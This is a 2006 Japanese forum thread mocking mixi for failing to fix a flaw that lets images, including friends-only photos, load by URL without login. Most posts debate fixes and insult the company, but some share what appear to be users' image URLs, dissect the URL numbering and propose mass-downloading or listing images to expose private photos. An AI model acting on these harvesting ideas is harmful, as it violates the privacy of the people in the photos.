mixi曰く「バグが直せないよ〜(ToT)」

jbeef曰く、"セキュリティホールmemo経由、葉っぱ日記10月17日のエントリによると、2005年5月にIPAの
脆弱性情報届出窓口に届け出られたmixiの欠陥の件が、1年半たってようやく決着したという。
この欠陥は、mixi内でアップロードされた画像が、mixiにログインしていなくても画像のURLを指定すれば
誰にでも閲覧できてしまうというもの。もっとも、数百万人の会員がいるとされるmixiでは、いずれにせよ
誰にでも見られるのに等しいのだから問題じゃないという考え方もあろう。
しかし、「友人まで公開」に設定している日記の画像はどうだろうか。普通のユーザなら、写真画像も
「友人まで公開」だと信じて貼り付けるのではなかろうか。

葉っぱ日記によると、IPAはこれを脆弱性として受け付け、取り扱いを開始したものの、11か月後の
2006年4月になって、ミクシィ側からギブアップの連絡があったという。その内容は、
「システムの改修にて試みましたが、いくつかのプラットフォームにおいてログインができなくなった」
「全ユーザーに対応させることは非常に難しい」というもので、改修しないということで取り扱い終了となったそうだ。
その際ミクシィは、「近々公開予定のユーザー向け啓蒙コンテンツの中で写真掲載時の注意を訴えて行く」と
約束したのだそうだが、それが公開されたのは5か月後の9月だったという。(つづく)"

残りは↓でご覧あれ
http://slashdot.jp/security/article.pl?sid=06/10/17/1958219&from=rss

　 　::::...
　　　::::... ∧＿∧＿∧
　　　 ::::.（∀・（　´Д｀）
　　　r -（　　（　O┰O
　 ..::ii'⌒< <　 ）　冊冊〉
　　::'､__,,l!しし（＿）l!lJ´
　　　　 　　 　 '､__,l!j
「俺たちもう終わりかな・・・？」「まだ始まっちゃいないYO」

ネタでした

ケツ毛バーガー推奨システム

はいはい張った張った

おいおい、このスレどうする？

だからβのままなのね。
納得。

おそらく、プログラムのパクリ元が対応しないので、mixiも対応できない、ということでは？

またきじゃくせいか

＞数百万人の会員がいるとされるmixiでは、いずれにせよ
＞誰にでも見られるのに等しいのだから問題じゃないという考え方

これを言いたかったんです＞＜
責任逃れです＞＜

グダグダやね

これがミクシの技術力か

秘匿なんて物はネットの世界にはない

儲かってるんだからこのぐらい直せよ

mixiははてなのかけらほども技術力ないからなぁ・・・

この欠陥は、mixi内でアップロードされた画像が、mixiにログインしていなくても画像のURLを指定すれば
誰にでも閲覧できてしまうというもの。
これくらい別にええやんか

メッセとかでいちいちアップロードしなおすのめんどくさいからってみくしの画像アドレス貼ることもあるのに

バグ？？？？？？

新しい祭りの予感。
サンプル画像をくれ。

マイミク脂肪ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

またまたミクシィ安全神話崩壊　システム欠陥を放置して開き直り
　　　/: : : :/: : : : : :/: :ハ: : ∧: : : : : : : : :＼: .ヽ
　　 /: : : /ｉ: : : : : /: /　　＼;ハ: : : : : : : : : . ｉ : :}
.　 /: : : :/:.ｉ: : : : :｣__ｉ＿ ,,ｪ=へ"＼: : :ｉ: : : : : ｉ :ｉ | 　お友達だけに写真を
.　/: : : /: : レ┐:.ｉ:/　, ｪ=ﾆﾐヽ　＼＼::＼: : : ｉ: ｉ | 　見せようと思って
. /: : ｢￣T「-　{: ｉ+／にん‐｝　　　 `ー_ﾆ＼:.|: ｉ:ｌ 　「友人まで公開」
/: : ハ　 ｣ L＿ト､|　　Ｙ二ｿ　　　　　 /.い｀Ｖ // 　に設定したのに
: : :.| " Ｖ: : :.ﾊ　　　　￣￣` 　　　 、 にり ｲノ⌒ﾌ 私の恥ずかしい
: : :.ヽ　 ﾊ: : ./　　　　　　　　　　　 ´　 ｀ヾ. ﾄ､　〈 　写真を知らない人に
: : : /＼/: : : }　　　　　　　　　　　　　　　　 |: :Ｖ 　見られちゃった・・・
: : / /: :.〉: : ハ　　　　　　　 ／`ーｬ　　　 .ﾉ　ﾉ
: / /: :.〈: : :.〉| ｀　　　　　　　￣:⌒　　　／ 〉ハ
/:./: : : .〉: /.ﾉ　　　　　　　　　　　　　／: |〈: ::.ﾉ
: /: : : （: : Ｙ　　　　　　　- ､ ＿.　イ: :ｉ: : |/: : }
.レ‐'´　〉:.〈　　　　　　　　/ : /:/: : ｉ: :ｉ : :ﾊ: : /
■mixiの「ヘルプ」ページ http://mixi.jp/help.pl#3g
Q.掲載した画像のURLをログアウトした状態でクリックしても、画像を見ることができる？
A. mixi は会員のみが見ることの出来る招待制サイトですが、mixi にアップした画像は、そのURLからmixi の外でも画像を見ることが出来てしまいます。
ブロック機能実装に向け改善と検証を重ねている状況ですが、他人と共有する可能性のある画像を、100％外部から保護することはできないというのがインターネットの現状とも言えます。
ユーザーの皆さまにおかれましては、mixi にアップする画像につきましても、上記の可能性を踏まえた上で掲載していただければ幸いです。

■ミクシィ、画像に認可制御なしの欠陥を改修できず、ヘルプで弁解
http://slashdot.jp/security/article.pl?sid=06/10/17/1958219&from=rss

>>17
脆弱性＝バグ

そういえば株どうなってるん？まだ上げってんの？

どうみても人手不足、技術不足

バーガースレのやつらは早急に「友人まで公開」の日記を友人じゃなくても読める
バグを発見すべき

ミクシは駆除不可能なウィルスに感染してしてしまいました。

さすが文系ＩＴ社長ｗ

.pl（笑）

つーか諦めるなよ。がんばれよ。セキュリティの問題なんだから。

これそんな難しい事なの？

いや、別にどーでもいいや（仕様）と思ってたのが
すげー問題になってるから直したんだろ

これが文系クオリティ

安全性を売りにしてるなら致命的なバグじゃないのか？

>>29
.htaccessとかではじけるんじゃねーかな

>>27
Perl+ApacheModuleは速いよ

とくだねで「ユーザーの意見を採り入れて改良を重ねていくため、わざとβとしてる」
って言ってけど、単に完成品を作れないだけじゃない

MySpace日本版まだ？

技術的に出来ないわけないだろ
どんだけ素人なんだよｗ

>>32
インターネッツで安全も糞もないだろ(笑)
さすが五浪(笑)

ちょっとmixiの画像url貼ってくれないと試せない

いくらでもやりようはあると思うが

>>37
はまちちゃんって知ってる？

はまちちゃんか

画像直リン出来ないエロサイトってたくさんあるじゃん
何でミクシに出来ないの？

誰か詳しい人、ちゃんと説明plz

オープンピネ使えよ

まだ第一部が終わったとこなんだろ。
第二部にご期待ください。

リファラで弾いちゃダメなの？？？？？？

まちちゃんだと思ったらはまちちゃんだったのか。
ぼくはまちちゃんとか言うから、間違えてたよ。
ぼく、はまちちゃん！とかにしろよまったく。

日本人のIT屋は総じてクソだわ。今朝もmixiのアホ社長が文系も理系も関係ないと
ほざいていたが、この記事見てから反省の弁明をしてもらいたいもんだ。

顔晒してる痛い男のミクシ画像くれ

プロパティ→画像URL→コピペ
で見れるってことなんだろ？

このスレで文系馬鹿にしてる奴らの8割はこの問題の対策を具体的に提示できない

あぁはまちゃんちか

さすが上場企業は対応が違いますね！

これはひどい

画像のリクエストに対して直出ししないと負荷上がるからそうしてたんだろう
認証の実装で、大幅に負荷が上がるか鯖増強で金掛けたはず
これで売らなきゃアホルダーと呼ばれても文句言えない

β版名乗らず一度α版にしたほうがいいと思われ

β版・・・試用版につき、バグがあるかも
α版・・・致命的なバグある畏れあり。使用は自己責任で

未だにpearlだし

cookieの単純な書き換えで>>24は実現できそうな気がする

こりゃ、覆面マスク付けて、ポコチン出しているようなもんだなｗ

そのセキュリティーホールをついたトコロを見せて

豚の油でべっとべと

実名推奨→ケツ毛→実名がいいですが保障はしません

画像→垂れ流しなおせず→貼るのはいいですが（ｒｙ


そんな美糞ですが2121　本日+20万

>>43
開発者のレベル

エロ屋・・・Lv76
ミクシ・・・・Lv16

>>49
うん
http://images.google.co.jp/images?q=site%3Aimg1.mixi.jp&hl=ja

難しくは無いが、サーバーが10倍くらい必要になるだろうな
静的コンテンツを毎回DB引いて認証チェックだぜ
やってられっか

>>46
リファラは簡単に偽装できるよ＼(＾o＾)／

mixiの画像直リンをどんどん貼ってくれ

>>50　そりゃ情報科学に属していなきゃ実生活で触れてないからわからんだろな。

>>41
ん？どういうことだ？
>>1で言ってるのははまちちゃん対策の事か？
画像が見れるってのとは関係なくね？

http://ic46.mixi.jp/photo/diary/13/12/224241312_245.jpg

リファラで制限するのは簡単に偽装できるからダメ
cookieで友人かどうかチェックしてるけど、
画像ファイルを置いているサーバはアドレスが違うのでcookieが届かない。だから全開。
なんちゅー設計なんだ？　さすがβ版

おれが1000万で直してやるよ

早く潰れろ

>>67
ああいうやつに簡単に打ち破られてしまうほど拙いコードしか書いてないんだよ、mixiは。
しかもあいつが有名なだけで、mixiにはいろんなものがうようよしている。

その場その場で、画像を生成すれば直リンできないじゃん。そうすればいいのに。
URL抜けたとしてもサーバの一時ファイルだし。

unix板の奴らに頼めばいいんじゃないか？

文系憤死ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

久しぶりにログオンしてみたらアカウント消されてたよ
何にも悪いことしてないのに・・・

あ、それでなのか。>>68みたいのも俺アカウント持ってないのに見れるなんてどういう仕組みなんだろ？
って疑問だったんだよな。なんだ、mixiの中の人がバカだっただけなのか。

>>74
あっという間に直すに違いない

>>73
重いじゃん、一時期の負荷高すぎが再発する

マン毛とかケツハンバーグとか行ってるスレはまじで２ｃｈ工作員なのか？
mixi叩きがひどすぎるんだが
ほっときゃいいだろ

あれ？>>1斜め読みで早とちりしてたけど、画像直リンって直したわけじゃないの？
あと友人チェックに使うログイン情報ってcookie？

mixiってなんてウンコ？

>>72
あーそういうことね
どっかの巨大掲示板みたいにみんなでブラッシュアップすればいいのにね

>>77
いや、見れないようにする仕組みが入ってないんだ

>>81
MIXIでは直せず、啓蒙活動（笑）で、おまえら十分承知して写真をアップしろよ
ってことｗ

へー、これは面白いことが出来るな

>>80
放っといてやれよ。
なんか、可哀想な毎日を送ってる奴らなんだよ。

>>64
小手先の対策にはなると思う

　 　 　　　＿＿＿_
　 　　　／_ノ 　ヽ､_＼
　　　oﾟ(（●）) (（●）)ﾟo　　　　
　 ／::::::⌒（__人__）⌒::::: ＼ 　　　　　　　　　
　 |　　　　　|r┬-|　　　　　| 　　　(⌒) 　　
　 |　　　　　|　|　 |　　　　　|　　　ﾉ ~.ﾚ-r┐､
　 |　　　　　|　|　 |　　　　　|　　 ノ__　 |　.|　|　|
　 |　　　　　|　|　 |　　　　　|〈￣ 　　｀-Lλ_ﾚﾚ
　 |　　　　　|　|　 |　　　　　|　￣｀ー‐---‐‐´
　 ＼ 　　 　 `ー'´ 　 　 ／

>>68
PC版のmixiで見ると元は
http://mixi.jp/show_picture.pl?img_src=http://ic46.mixi.jp/photo/diary/13/12/224241312_245.jpg
こうなんだよなｗ

>>89
これはひどいｗｗｗｗ

これって町役場行って他人の住民票が誰でも見ることができる事より
セキュリティが甘いってことだろ？

ミクシィ潰しは２ちゃんねらーの悲願。これからも長期的に続けられる
。
スレがいろいろ変わっても本質的なミクシィ潰しの目的は変わらない。

これは無理だよ
2chの転送量問題でmod_gzip入れるなんてのとはわけが違う
最低限apacheのモジュール自作できるぐらいでないとな
ま、日記の画像だけでも認証とおせばいいのにな

>>92
松戸に籠もってろ

http://img1.mixi.jp/photo/bbs_comm/79/67/47197967_233.jpg
色々見られるな

>>80
あいつら見てると違和感感じる
何かの意図を感じるよね、何人かが厨を煽って大きなうねりを作ってる希ガス

>>89
ﾜﾛﾀ。たしかに見えないな〜ｗｗｗ

さすがに
http://mixi.jp/show_picture.pl?img_src=http://www.ugtop.com/spill.shtml

とか
http://mixi.jp/show_picture.pl?img_src=http://www.google.co.jp/intl/ja_jp/images/logo.gif

みたいなことできないよね。当然（垢持ってないから分からないけど）

>>79
そうだな
でも絶対外部から見れなくする方法は、今の俺にはそれしか思い浮かばない　アホすぎ

たしかにリファラは小手先の防御にはなると思うね
ITmediaもやってるから直リンすんなとか言われるしな。
ITmediaの場合は、負荷を軽くするって目的だけど。

>>89
ばればれじゃねぇかｗ

２ｃｈのマ板の連中に依頼すればよいのに。
あ、２ｃｈはお嫌いでしたっけ。

うまい感じに株価も収束していけばいいのに。

理系を軽視した罰だぁな

やっつけだなぁ

未だにｱﾌｫｼ-やってる奴ってなんなの？

俺のエロサイトの画像掲示板でさえ
画像直リンクできないようにしてあるのに・・

ま、それとは問題の種類が違うけど。

「友人まで公開」に設定しているエロ画像きぼんぬ

2chだってはてなだってユーザが運営に絡んでるじゃない

mixiだってコミュニティ作って改善できるでしょ

できることはできるらしいけど、
不都合が色々と起きてしまうっぽいぞｗ

>70 安すぎ　俺なら7000万

画像一つ一つにログインチェックかけるとサーバーが耐えきれないから逃げたか。

できない、で済まされるからいいモンだよなクソ

jpgとかgifにリクエストがきたら間にプログラムをかませて、
ログインしてるかどうか判定すればいいんだよ。

でもミクシィって海外のソースコードほとんどパクって運用してるとおもってた。
自分で書いてたんだな。

確かに、直リンの画像Janeで見えたからな

こんなもんスクリプト経由で画像吐けば良いだけジャン。
負荷は増大するけど、金あるんだから鯖は良いの使えるだろうし。

　 　 　　　＿＿＿_
　 　　　／　　 　 　＼
　　　／　 _ノ 　ヽ､_　 ＼
　 ／ oﾟ(（●）) (（●）)ﾟo ＼ 　ほんとは認証なしじゃ画像見られないようにしたいんだお…
　 |　　　　 （__人__）　　　　|
　 ＼　　 　 ｀ ⌒´ 　 　 ／


　 　 　　　＿＿＿_
　 　　　／　　 　 　＼
　　　／　 _ノ 　ヽ､_　 ＼
　 ／ 　oﾟ⌒　　　⌒ﾟo　 ＼ 　でもどうやってもできないんだお…
　 |　　　　 （__人__）　　　　|　　
　 ＼　　 　 ｀ ⌒´ 　 　 ／


　 　 　　　＿＿＿_
　 　　　／⌒　　⌒＼
　　　／（ ●） 　（●）＼
　 ／::::::⌒（__人__）⌒::::: ＼ 　　だからユーザーを啓蒙するんだお！
　 |　　　　　|r┬-|　　　　　|
　 ＼ 　　 　 `ー'´ 　 　 ／

http://mixi.jp/help.pl#3g

俺は最近プログラム書いてないから忘れたけど、
>>111は.htaccessかApacheのmod_rewriteとかでできるはず。

バカだなあ。本当にバカだなあ

名前：24歳にもなってウンコ漏らした・・・[] 投稿日：2006/10/18(水) 15:55:32 ID:vexuJGV50
バカだなあ。本当にバカだなあ

>>62を辿ったらこんなのあったんだけど
http://img1.mixi.jp/photo/bbs_comm/92/5/57349205_55.jpg

理系社長：解決策を考える。解決するまでシステムは停止する。
文系社長：解決策を考えてもわからないから安心ですと言ってごまかす。

バグっていうかそういう仕様だったんだろ？
直す事はできるけど直すと負荷増えて金かかるから
見てみぬフリしてたって感じ？

>>120
理系の社長ってどんなだ。
ガチの技術者が経営権握るとろくなことないぞ。

理系文系言ってるような輩は経営者にならんほうが良いって事だな

バスケが上手くても駄目ってこったな

それこそ調達した資金の使いどころではないか？

>>122
グーグルとか

>>122
福井 威夫（ふくい たけお、1944年11月28日 - ）は本田技研工業（ホンダ）の代表取締役社長である。東京都出身、麻布高校卒業、早稲田大学理工学部応用化学科卒業。

所詮、MySpaceのぱくり。

別に技術者上がりの奴が社長になってもいいと思うぞ。
ちゃんと取締役に経営の分かった奴が居れば。

ミクシィ社長「社会全般を見渡せる学部が望ましい」と理系を蹴る【理系脂肪】
http://news20.2ch.net/test/read.cgi/news/1161066735/

>>122
S○NYのKのことか！！


まあ社長の理文はどうでもいいから、ネットワーク管理者をどうにかすべきだな。セキュリティに疎いんじゃないのか？

ワロタ

>>127
ホンダが代々技術者を使ってるという話は知ってる。
技術者がプライドだけで会社経営してろくなことになった試しがほとんどないということ。
ノイマンに反感を持ったモークリーとエッカートのようにな。

さっさと潰れろよ、身糞

>>130
学部じゃなく人を見た方がいいと思うんだが。

>>133
技術をウリにしているのか、サービスをウリにしているかの違い

社長の業務は人間関係が70％だからね

取引先・社員・客これらをこなせるなら理系でもいいだろ

あとは20％が金のことで10％が経営方針かな

なんで文系理系談義になってるんだｗ

>>135
だよなあ
経営者が血液型占いレベルでしか人見れないってどんな会社だよｗ

　　　　　　　　　　　 　 　 　 　 　 　 　 　 　|
　　　　　　　　　　　　 　 　 　 　 　 　 　 　|　
　　　　　　　{　　　　!　　　 　 _,, -ｪｪｭ､ 　　|　
ｨ彡三ﾐヽ　　｀ヽ　　　　　,ｨﾊミﾐミﾐﾐﾐﾐﾐﾐヽ､|
彡'⌒ヾﾐヽ　　　｀ー　　/ililﾊilﾐilミliliミliliﾐ|　　
　　　　　ヾ､　 　 　 　 /iiiiｲ!ヾヾﾐ､ﾐﾆ=ｰ-ﾐ|　
　　＿　　　　｀ー―'　i!ﾊ:.:.＼＼_::::::::::::::／:.|　このスレは
彡三ミﾐヽ　　　　　 　 i! ヽ:.:.:.:冫': : :::／,,∠|　
彡'　　　ヾ､ 　　　＿ノ i!:::￣二ー:: : ::::ｿ ・ ,|　鬼女に
　　　　　　｀ー '　　　　{ﾍラ' ・_＞ｼ;ﾃﾂ"''''"|　
　,ｨ彡三ﾆﾐヽ　　＿_ノ ヽﾍ｀" 彡' 〈　　　　 |　監視されて
彡'　　　 　 ｀￣　　 　 　 ｀＼　　 ｰ-=ｪっ　|
　　　　　　＿　　＿＿ ノ　 {ﾐ;ヽ､ 　 ⌒　　 |　います
　　　,ｨ彡'　　￣　　　 　 　 ヾミﾐミﾐﾄ-- '　 |
ﾐ三彡'　　　　　　　　／⌒　/￣￣ | : ::::::::::|
　　　　　　 ｨﾆﾆ=- ' 　　 　/　i　　　｀ー-（二つ
　　 　 ,ｨ彡'　　　　　　　　 {　ﾐi　　　　　 （二⊃
　　 //　　　　　　　　／　 l　ﾐii　　　　 　 ト､二)
　彡' 　 　 　 ＿＿,ノ　　　|　ﾐｿ　　　　　:..｀ﾄ-'
　 　 　 　 ／　 　 　 　 　 |　ﾐ{　　　　　:.:.:..:|

●ミクシィ問題などリンク集 ●
mixiモータードライヴ事件まとめサイト←ここが一番詳しい
ttp://machideki.gozaru.jp/
アンチ亞問＆東京kitty（mixi内コミュ）
ttp://mixi.jp/view_community.pl?id=1411643

ほかに　することが　ないのですか

MIXIに敵意剥き出しのやつって何の恨みがあるんだ？
面白半分ならわかるけど

これって例の１ピクセル以下の画像うんぬんのやつ？

OpenPNEではどうなんだ？

>>142
察してやれｗ

ところではまちちゃんは元気なのか？

ログインしないで日記の内容も読めるようにしろよ

>>142
Wikipediaで２ちゃんねるに敵意むき出しで削除依頼出しまくってる奴と同じ精神構造じゃね？

どんだけスキル無いんだよｗ
mixiも末期だな

２ｃｈもみくしもそれぞれ楽しいから、
どっちも潰れないで欲しい。

だからミクシの中の人はもうちょっとガンバレ。

こんな社長だったら付いていこうって気になるなぁ
http://ja.wikipedia.org/wiki/%E7%A6%8F%E4%BA%95%E5%A8%81%E5%A4%AB

マジmixi潰れろ。
日記なんかDQN自慢ばっかだろ。
未成年なのに酒飲んだだのタバコ吸っただの書いておきながら運営はスルー。
一部は出会い系みたいにもなってるし2ちゃんよりもタチが悪いと思う。

>>127
藤沢武雄がいたからのホンダだぜ

β版サービス

なんだこのスキルのなさはｗｗｗｗｗｗｗｗｗ

ハゲって言うんじゃねええええええええええええええええええええ

>>142
mixiのせいで写真からあたしの実名や出身校特定されちゃったんだよ！
出身校のコミュにＨな画像はられちゃうし最低だよ！

FindJobもチョット前に何かあったような。。
もっといい技術屋雇え

めんどうくさいけど
よろしくお願いします

【mixi】招待ネズミ講方式【小隊汁】2
http://ex16.2ch.net/test/read.cgi/news4vip/1161094248/

個人情報駄々漏れ

>>157
くわしく

>>153
藤沢さんカッコイイよなぁ

snsっても実質出入り自由だからなぁ

フリーメアド禁止、年会費100円（クレカ引き落としのみ）とかで会員限定すれば
ある程度（あくまでもある程度ね。いまの状況よりマシ）snsとして有効な気がするが

>>157
ケツ毛バーガーｗｗｗｗｗｗｗ

ミクシたたきの方々はあっちのスレに帰ってくれないか。
いまさら啓蒙しなくても、お前らがなんかやってるのは知ってるし、
興味があったら参加してるし、
興味がないから参加してないんだから。

空気嫁、な。

カサマツの中の人でも雇え

>>158
perlマンセーな会社だからな
優秀な技術者には魅力ないだろうよ

もともとそういうものだと思って使ってた

２ちゃんってゆう掲示板より酷いよなmixiは

ただの出会い系サイトだからどうでもいいんじゃね？

>>165
VIPPERは空気読めないよ

つまり欠陥ありきの見切り発車で後は免責事項に書いとけってなモンか

最悪

２ちゃんねるの運営は運営で色々実験しまくって（分散サーバーとか）、他でそのスキル生かす気なのかな？

分散や串対策は兎も角、トラバとか一般ブラウザ用の画面をAjax化しようとかタダの見識を広めるだけの行為だろｗ（だがそれでいい）

>>165
ID赤くしてまでここで書くなら本スレで書いてこいよ

もうちっと啓蒙すりゃあいいんだよな。
ある程度の欠陥もあるし、ユーザーにも多少のリスクがあるよ〜くらいな感じで。
そこら辺をあいまいにしてやるのも一つ策なんだろうけど
上場企業だったら責任が発生しちゃうからな。

けつ毛クラスはもうどうしようもないけど、
「飲酒運転しちゃったｗ」みたいな馬鹿には警告しとかんと・・・

>>174
嫌だよ
あっちのスレ、なんか気持ち悪いんだもんw

別に急を要する問題じゃあないんじゃないの？
セキュホ認定してる奴が勝手に騒ぎ立ててるだけだろ、アホらし。

>>176
なんだろうねあの気持ち悪さ

自分のネカマっぷりを自慢して馴れ合って

あれがVIPクオリティ〜？

>>106
mixiの場合はそういう人達は規模が大きくなるにつれて、離れていったでしょ

文系の社会全般を見渡す能力とやらでなんとかしてみろよｗ

わからんかなあ。mixiに恨みとかないよ。ただ、あんなに取り上げられて知名度があるmixiが崩壊したら面白いじゃんっていう下衆な考えですよ。

これは案外難しい問題だな。動画は、動画自体に認証つんだけど
画像は

早くｱｸﾞﾘｹﾞｰｼｮﾝで穴空けてよ

合言葉は啓蒙

そんなに難しい問題とは思えないがなぁ

>>185
問題を問題と認識できていないところが問題
直すのは一番難しいと思われ

http://img.mixi.jp/photo/member/2/47/840247_2241497944.jpg

いいこと考えた。
バグ直せばいいじゃん。

>>163
それだとユーザー増えないからなぁ、会員数700万人とか複垢や垢バンでの再登録こみの大嘘発表してるし
株式上場してるし野心はかなり強そうだ。
お手軽な使いやすさと安全性（笑）を両方とろうとして破綻してる感じか

バグが直せないなら、ファミ通に投稿して、ウルテクに認定されないとな。

これって普通にhtaccessみたいにmixi全体にパスかければいいだけじゃないの？
そんなに難しいのかなぁ

バグを直そうとするから難しいんであって
1から作り直せばいいんじゃね？

新しいバグがコンニチハ

カサマツを見習えよ

｢お金掛かるから嫌｣が正解なのか。

>>95
その番号ってどうやって決まってるんだろう？
mixi日記画像一覧サイトとか作れそうな気がする

みんなでvixiに引っ越せばよくね？　>笠原

同じアルバムだと最後の数字以外同じだね。
wgetとかで地引けば第２のケツ毛バーガーが続出なのでは。

これはやばいぞ・・・

>>1年半たってようやく決着したという
その"決着"ってのが「修正不可なんであきらめまつ」ってことかよｗ
危険だけど楽しいから使えってWinnyと同じようにマトモな会社や官庁では使用を禁止すべきだな。
システム全体をゼロから作り直す必要があるってことじゃん。

>>167
優秀な技術者の場合はPerlじゃなくて何なら魅力を感じるだろうか

>>198

ケツ毛バーガーは外部のP2Pがファイル漏洩の原因だったけど、
地引でスゴイ画像が見つかれば今回はmixiのシステム欠陥が漏洩の原因になるなｗ wktk

これ修復しようとしたら今まで掲載されていた画像の関連性が０になるんじゃない？

だから２の足踏んでるんだよ

もう一度全部アップし直してくれとか言えないだろｗ

もう、なおらんの？

>>196

icRR.mixi.jp/photo/hoge/XX/YY/AAAAAXXYY_rr.jpg

AAAAAXXYYがコメントとか日記のIDで，RRとrrがそれぞれ乱数っぽい

実際直して画像が関連性無くなって表示されませんとか発表したら

直せっていうお前らとこのままでいいという既存ユーザーの間で板挟みになるだろ

それだったら直らないって言っておいた方がいいという選択だろどうせ

>>56
キサマにそんな事をいう権利はないぞw

>>167
Perlでなにか不都合はあるのか。

はてなも全部Perlだな。

webサイト作るのくらいPerlかPHPで十分だ

>>208
別に問題は無いと思うよ
技術者にとって「あたらしいもの」に挑戦する機会が減るだけだから

>>201
Whitespaceとかいかが？
http://ja.wikipedia.org/wiki/Hello_World#Whitespace.E3.81.A7.E3.81.AE.E4.BE.8B

まさに愚か者には読めないソースだしｗ

２ちゃんねるの場合、多少鯖が止まってもいいという方針でどんどん新しいもの（非安定版のOSとかWeb鯖とか）取り入れまくってるなｗ

企業だとさすがに恐ろしくて無理だろうな

Web系って「あたらしいもの」なんてあったけ？
Java　腐りかけ　そもそも少人数開発に向かない
PHP　腐りかけ
Rubyぐらいか？でも、RubyなんてRailsでちょと注目されたぐらいで
はてなだと自社フレームワーク作ってるし

GoogleはPythonだよね

>>167
Perlの何が悪い＼(^o^)／。

これマジ？これじゃログアウトじゃないじゃん

815 名前：友達の友達の名無しさん [] 投稿日：2006/10/18(水) 18:14:56 ID:CHaPjxA/
いま気付いたんだがmixiってログアウトしてもブラウザの戻るで
またログインしている状態と変わらなく動けるのな。
普通はログアウトしたらブラウザの戻るでもまたログイン作業が
必要じゃないのか？オンラインゲームの公式HPへのログインとかは
ブラウザの戻るでもログアウトした以上、もう一度ログイン作業が必要だったが。

>>214
最近流行のAjax・・・・ってクライアント用だな（鯖側実装はなんでもいいだろうし）。

なでしこ　とかどうだｗ

俺のプロフ写真を晒そうかと思ったけどファイル名にユーザーIDが入ってるから中止

>>211
お前ら多分大規模なサーバーサイドプログラムを作ったことがないか、
組織を運用していく上での心得がないか、その両方かどちらかだな。
ちなみにはてなもPerlだよ。

サーバーのパワーが有り余ってるんならPerlでも問題はないな

Perl以外で組めりゃいいけどな。
外注先はあるかな。

そこでC#ですよ

最近VIXIってのに登録してみたんだけど
これすごいな
mixiと比べて管理人の意気込みが違う

>>224
OpenPNEじゃないの？

C#ってむちゃくちゃ良いな。3年位前に文法だけ覚えて全く書いたこと無かったんだけど、
最近return yieldとかいうのを知って感動した。とはいってもまだ使ったこと無いけど。

楽天は画像のアドレスが途中で変わったんだな。
久々に覗いてみたら、画像リンクが死んでて驚いたｗ

こゎぃょ〜

理系の空気の読め無さはプロ市民なみなのがこのスレでわかった

>>229は理系

てか、そんなこと可能なの？？
あるならおしえてほしい
画像制御

「友人まで公開」とかふざけてんの？

>>231
Webプログラミングをかじればわかるよ。

Hyper Estraierの人とか技術に明るそうな人がいるのに
何でギブアップしたんだろう。

mixi.jp/hoge.pl?****
とするよりも
mixi.jp/hoge/?****
とした方が他の言語に変更するときURLが変わらなくて便利だよ。

>>233
いや、直リン禁止にする方法は知ってるが
画面に表示しなきゃいけないってのができなくないかい？

>>236
なに言ってるかよくわかんないんだぜ？

また雑魚運営が嫉妬かね（＠ｗぷ

結局167から具体的な話は引き出せなかったか・・・残念
一応貼っておくか
http://www.shiro.dreamhost.com/scheme/trans/beating-the-averages-j.html
新しいもの云々は言語とは関係ないような気がするが

>>239
BrainF*ckに一票

>>239
お前ら多分大規模なサーバーサイドプログラムを作ったことがないか、
組織を運用していく上での心得がないか、その両方かどちらかだな。

画像のリンク先のパスが乱数になってるけど
これをリクエストするごとに変えればいいだけじゃん

mod_rewriteと自作モジュールでいけるだろ
うんこ
うんこ

なんという開発力のなさ・・・

■mixiの「ヘルプ」ページ http://mixi.jp/help.pl#3g
＞ブロック機能実装に向け改善と検証を重ねている状況ですが、
＞他人と共有する可能性のある画像を、100％外部から保護することは
＞できないというのがインターネットの現状とも言えます。

書き方に腹立つな。
オープンネットにただ乗りしといて、何これ。

とりあえず
ここまでのカキコの解決案は的外れなきがするが、
>>1をよく読みましょう
mixiがなにを解決したがっているのか

>>245
とーしろーはだまれ！

mixi画像一覧サイトが出来たら、さすがに本気入れて修正するかも？
インターネットに *公開* されている画像を一覧表示するのは問題無いよね？
googleとかもやってることだし。

是非やってくれ全力で応援する

このスレに解決策がカキコされるのを
mixiの中の人が首を長くして待ってるよｗ

招待制やめればいい

年収1000万以上に限定してくれ

新着順に表示できたら楽しそうだな

>>249
とりあえずmixi内画像一覧サイトを先に作らないとねｗ

ほらよ
http://images.google.com/images?q=jpg+site:mixi.jp&ndsp=20&svnum=10&hl=ja&lr=&safe=off&start=40&sa=N

>>253
いや、それじゃ外部リンクから辿れる分だけでしょ
いくら何でも少なすぎｗ

>>252
どういう仕様かわかってるの？

＞写真掲載時の注意を訴えて行く」と

あの坊ちゃんヲタッキーみたいな社長さんダメだな
最初から注意しとけよ

男なら一度くらい写真掲載時の注意を訴えるもんだがな

>>257
怖くて訴えられない

>>255
いやわからない。
mixi自体あまり見てないしｗ

>>258
また(r

>>202
　　　　　　　　　　　　　 　 _　　 _ 　 _　　　_
　　　　　　　+　　　+　　　| | 　 | |　| |　　 | |　　+　　　
　　　　　　　　　　　　　　 | | Π| |　| |　Π| |　　　　　+
　　　　 /￣￣￣￣/三三三三//￣￣￣￣l￣￣￣￣l　+
　　　/￣￣￣￣ /三三三三//￣￣￣￣￣i､￣￣￣ i､
　 /￣￣￣￣ _/三三三三//￣￣￣￣￣￣’,￣￣￣￣l
/￣￣￣￣￣/三三三三//￣￣￣￣￣￣￣’,三二二ニl　　　+
￣￣￣￣￣/三三三三//￣￣￣￣￣￣￣￣
　　　　　　　　　　　ワクテカ文明　[Wk・tek]
　　　　　　　　　　　（B.C.8000年頃　中米メキシコ）

こんな所で技術不足を露呈してどうする

一回直したけど不具合出てすぐ戻した
ってのが笑える。

テスト環境ねーのかよ

鯖運営とかしたことねっからようわがらんけっども、
HTTPd管理外のﾌｫﾙﾀﾞｰに画像貯めといて、plだからPrologか？で表示すりゃええじゃないか。

てか
金ケチってるだけじゃねーか

ID＝1脂肪ｗｗｗｗｗｗｗｗｗｗｗ

>>263
prologで書かれたcgiってカッコイイ。

こんなことができるなんて・・・
http://news20.2ch.net/test/read.cgi/news/1161173310/329

>>198
最後の数字以外はメンバーIDかな。
referer_log とかで日記IDがわかれば
そいつの写真は全部丸見え？

技術力低すぎｗｗｗｗｗ

俺を雇ってくれればすぐに直してやるのに・・・
もう半年仕事ない(´・ω・｀)

>>270
つhttp://www.find-job.net/

>>271
登録済み
既に30社くらいからﾀﾞﾒだしされて凹み中(´；ω；｀)

今時のWebプログラマは大変そうだな

